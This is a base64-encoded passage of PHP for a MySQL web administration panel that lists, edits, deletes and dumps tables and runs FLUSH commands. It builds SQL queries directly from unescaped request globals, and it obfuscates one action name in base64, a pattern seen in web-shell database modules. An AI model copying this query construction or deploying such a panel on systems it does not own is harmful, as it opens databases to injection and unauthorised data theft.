ZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRqICk7CgkJCWlmKCAkZmllbGQt
PnByaW1hcnlfa2V5ID09IDEgKQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIg
LiAkZGF0YTsKCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApCgkJCQkkZGF0YSA9IHN1YnN0
ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsKCQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAk
ZGF0YSApOwoJCQllY2hvICI8dGQ+XG4iOwoJCQllY2hvICIkZGF0YVxuIjsKCQkJZWNobyAiPC90
ZD5cbiI7CgkJfQoKCQlpZiggJGtleSA9PSAiIiApCgkJCWVjaG8gIjx0ZCBjb2xzcGFuPTI+bm8g
S2V5PC90ZD5cbiI7CgkJZWxzZSB7CgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0
aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRp
dDwvYT48L3RkPlxuIjsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZGVs
ZXRlRGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9
XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIFJvdz8nKVwiPkRlbGV0ZTwvYT48L3RkPlxuIjsKCQl9
CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKCgllY2hvICI8Zm9udCBz
aXplPTI+XG4iOwoJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQllY2hvICI8Zm9ybSBh
Y3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxl
bmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0
aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFi
bGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoKCWVjaG8gKCRwYWdl
KzEpLiIvIi4oaW50KSgkcm93LyRyb3dwZXJwYWdlKzEpLiIgcGFnZSI7CgllY2hvICI8L2ZvbnQ+
XG4iOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA+IDAgKSB7CgkJaWYoJGFjdGlvbiA9PSAiZG1s
bGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRH
RT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ
ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl
KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJ
ZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJCWVjaG8gIic+UHJldjwvYT5cbiI7Cgl9IGVsc2UK
CQllY2hvICJQcmV2IjsKCWVjaG8gIiB8ICI7CglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFn
ZSktMSApIHsKCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQoJCQllY2hvICI8YSBocmVm
PSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBI
UF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZx
dWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIg
JiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnki
OwoJCWVjaG8gIic+TmV4dDwvYT5cbiI7Cgl9IGVsc2UKCQllY2hvICJOZXh0IjsKCWVjaG8gIiB8
ICI7CglpZiggJHJvdyA+ICRyb3dwZXJwYWdlICkgewoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQg
c2l6ZT00IG5hbWU9cGFnZT5cbiI7CgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdH
byc+XG4iOwoJfQoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7Cn0KCmZ1bmN0
aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAk
dGFibGVuYW1lLCAkUEhQX1NFTEY7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxoMT5B
ZGQgRGF0YTwvaDE+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGgx
PkVkaXQgRGF0YTwvaDE+XG4iOwoJCSRwUmVzdWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5h
bWUsICR0YWJsZW5hbWUgKTsKCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsK
CgkJJGtleSA9ICIiOwoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJp
bWFyeV9rZXkgPT0gMSApCgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkg
Lj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7
CgkJCQllbHNlCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZp
ZWxkLT5uYW1lXSAuICInIEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJs
ZW4oJGtleSktNCApOwoKCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSAp
OwoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAk
dGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2Zl
dGNoX2FycmF5KCAkcFJlc3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5h
bWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VM
RicgbWV0aG9kPXBvc3Q+XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlm
KCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9u
IHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNp
bmc9MSBjZWxscGFkZGluZz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwv
dGg+XG4iOwoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+
XG4iOwoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0
ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUi
ICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBt
eXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAk
aSA8ICRudW07ICRpKysgKSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0
ICk7CgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxk
WyJUeXBlIl07CgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJ
CWVjaG8gIjx0cj4iOwoJCWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4i
LiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0
IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQll
Y2hvICI8b3B0aW9uPkFTQ0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8
b3B0aW9uPlNPVU5ERVhcbiI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxv
cHRpb24+Q1VSVElNRVxuIjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8
b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAi
PG9wdGlvbj5QQVNTV09SRFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNo
byAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJ
ZWNobyAiPG9wdGlvbj5VU0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hv
ICI8b3B0aW9uPlJBTkRcbiI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4i
OwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAi
YWRkIiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlm
KCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4i
OwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVs
ZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxl
Y3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9
IHN0cnRvayggIiciICkgKSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRv
ayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxu
IjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQg
dHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4i
OwoJCQkJZWxzZQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVu
Z3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlm
KCAkY21kID09ICJlZGl0IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwp
XG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQll
Y2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVj
dCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJ
CWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3
aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkK
CQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNo
byAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8
L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVu
IDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3Ro
PSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNl
CgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBu
YW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90
cj4iOwoJfQoJZWNobyAiPC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNo
byAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNt
ZCA9PSAiZWRpdCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRh
Jz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0n
aGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFn
ZURhdGFfc3VibWl0KCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh
YmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBS
ZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9
IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1l
LCAkbXlzcWxIYW5kbGUgKTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5T
RVJUIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiAp
CgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvcigg
JGkgPSAwOyAkaSA8ICRudW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVs
ZCggJHBSZXN1bHQgKTsKCQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9u
Il07CgkJaWYoICRmdW5jICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZigg
JGZpZWxkLT5udW1lcmljID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQt
Pm5hbWVdOwoJCQlpZiggJGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVs
c2UKCQkJCSRxdWVyeVN0ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAu
ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlT
dHIgLj0gIicpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9
PSAxICkKCQkkcXVlcnlTdHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UK
CQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInKSI7CgoJbXlz
cWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vy
cm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NF
TEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAk
ZGJuYW1lLCAkdGFibGVuYW1lICk7CgkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQg
KTsKCgkka2V5ID0gIiI7Cglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQlpZiggJGZpZWxkLT5wcmlt
YXJ5X2tleSA9PSAxICkKCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkJCSRrZXkgLj0g
JGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJ
CWVsc2UKCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+
bmFtZV0gLiAiJyBBTkQgIjsKCX0KCSRrZXkgPSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5
KS00ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCSRxdWVy
eVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IjsKCW15c3FsX3F1ZXJ5
KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJ
dmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9uIGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkK
ewoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOwoKCW15c3FsX3NlbGVjdF9kYiggJGRibmFt
ZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUg
VEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUpOwoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2Fy
cmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0MpOwoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElG
IEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4i
OwoKCWVjaG8gJHRhYmxlZHVtcDsKCgkvLyBnZXQgZGF0YQoJJHJvd3MgPSBteXNxbF9xdWVyeSgi
U0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7CgkkbnVtZmllbGRzPW15c3FsX251
bV9maWVsZHMoJHJvd3MpOwoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywg
TVlTUUxfTlVNKSkKCXsKCQkkdGFibGVkdW1wID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMo
IjsKCgkJJGZpZWxkY291bnRlciA9IC0xOwoJCSRmaXJzdGZpZWxkID0gMTsKCQkvLyBnZXQgZWFj
aCBmaWVsZCdzIGRhdGEKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykKCQl7
CgkJCWlmICghJGZpcnN0ZmllbGQpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsKCQkJfQoJ
CQllbHNlCgkJCXsKCQkJCSRmaXJzdGZpZWxkID0gMDsKCQkJfQoKCQkJaWYgKCFpc3NldCgkcm93
WyIkZmllbGRjb3VudGVyIl0pKQoJCQl7CgkJCQkkdGFibGVkdW1wIC49ICdOVUxMJzsKCQkJfQoJ
CQllbHNlCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygk
cm93WyIkZmllbGRjb3VudGVyIl0pIC4gIiciOwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIp
O1xuIjsKCgkJZWNobyAkdGFibGVkdW1wOwoKCX0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7
Cn0KCmZ1bmN0aW9uIGR1bXAoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJu
YW1lLCAkdGFibGVuYW1lOwoKCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7CgoJCWhlYWRl
cigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsKCQloZWFk
ZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7CgkJZmV0Y2hfdGFibGVfZHVtcF9z
cWwoJHRhYmxlbmFtZSk7CgkJZWNobyAiXG5cblxuIjsKCQllY2hvICJcclxuXHJcblxyXG4jIyMg
JHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4aXQ7CgoJfWVsc2V7CgkJ
aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOwoJCWhl
YWRlcignQ29udGVudC10eXBlOiB1bmtub3duL3Vua25vd24nKTsKCgkJbXlzcWxfc2VsZWN0X2Ri
KCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hP
VyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7CgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJh
eSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpCgkJewoJCQkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHJv
d1swXSk7CgkJCQllY2hvICJcblxuXG4iOwoJCQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3db
MF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsKCQkJCWVjaG8gIlxuXG5cbiI7CgkJfQoJCWVj
aG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1lIERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7
CgkJZXhpdDsKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRj
b21tYW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIi
IHx8IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5c
biI7CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVm
PSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5c
biI7CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1z
aG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBI
UF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0
PC9hPlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+
XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9
Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3Rz
IiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJ
ZWNobyAiLSBTdWNjZXNzIjsKCQkJZWxzZQoJCQkJZWNobyAiLSBGYWlsIjsKCQl9CgkJZWNobyAi
PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M
b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz
cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIi0gU3VjY2VzcyI7
CgkJCWVsc2UKCQkJCWVjaG8gIi0gRmFpbCI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQ
X1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdlczwv
YT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYoIG15
c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1
Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9h
PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBteXNxbF9x
dWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJ
CQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsKCQlp
ZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZs
dXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJ
CQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxzZSB7CgkJJHF1ZXJ5
U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkkcFJlc3VsdCA9IG15
